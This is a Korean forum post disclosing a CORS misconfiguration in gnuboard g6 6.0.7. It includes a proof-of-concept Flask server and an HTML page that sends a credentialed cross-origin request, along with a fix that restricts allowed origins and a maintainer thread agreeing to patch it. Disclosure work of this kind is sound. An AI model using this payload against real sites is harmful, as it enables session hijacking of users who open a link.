테스트 사이트 - 개발 중인 베타 버전입니다

CORS Misconfiguration 취약점 제보합니다.

· 1년 전 · 492 · 3
**Version**: 6.0.7

**Vuln**: CORS Misconfiguration

**PoC**
```python
from flask import Flask, jsonify, send_from_directory

app = Flask(__name__)

@app.route('/')
def serve_html():
return send_from_directory('', 'index.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8800)
```

```html
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var cookies = document.cookie;
document.getElementById("demo").innerText = "Cookies: " + cookies;
alert("Cookies: " + cookies);

}
};
xhr.open("GET", "http://<gnuboardHost>, true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
```

**Impact**
* 사용자에게 링크 접속만 해도 세션 탈취가 가능합니다.

**Secure Code (core/middleware)**
이와 같이 테스트가 아닌 프로덕션 환경에서는 allow_origins에 호스트를 지정 필요
```python
app.add_middleware(
CORSMiddleware,
allow_origins=["http://<gunboardHost>"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
```

**Video**
<video src="https://github.com/gnuboard/g6/assets/71239005/655c6b54-ab1e-4758-a7f7-ce1c77f44627" width="520" height="540" controls></video>


ref: https://github.com/gnuboard/g6/commit/b9b6bb7a3f7eaff576c8079f183318f3417896e5
https://github.com/gnuboard/g6/blob/master/core/middleware.py#L81

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기

댓글 3개

1년 전
@AkiaCode
오픈소스 배포 과정에서는 allow_origins를 모두 허용하였습니다.
프로젝트를 진행하시는 상황에 따라 추가하여 사용하시길 권장드립니다.
1년 전
@Junanjunan
아하, 그렇군요 저는 커밋 내용 중 `테스트용으로 모두 허용하도록 추가` 글에서 테스트용으로 추가하셨길래, 배포 과정에서 의도되지 않은 로직이 추가된 줄 알았습니다. 그리고, fastapi cors에서는 allow_credentials가 True일 때, allow_origins가 `*`로 설정할 수 없습니다.

![image](https://github.com/gnuboard/g6/assets/71239005/d79be19a-f5e3-4f3c-a5a7-31a2be0bbd91)
ref: https://fastapi.tiangolo.com/ko/tutorial/cors,
https://fastapi.tiangolo.com/tutorial/cors,
https://github.com/tiangolo/fastapi/blob/912524233b535a1d45b54863b2c4e0bd2464b193/docs_src/cors/tutorial001.py#L16

p.s. 해결 방법으로는 하드코딩보다 `.env` 파일에 CORS config를 추가하여 ALLOW_ORIGINS를 직접 설정할 수 있게 만드는 것이 좋을 것 같습니다.
1년 전
@AkiaCode
네, 말씀해주신 부분을 다음 패치에 반영하도록 하겠습니다. 감사합니다.

게시글 목록

번호 제목
329
326
325
324
323
319
318
314
313
310
309
307
306
305
304
303
302
301
300
299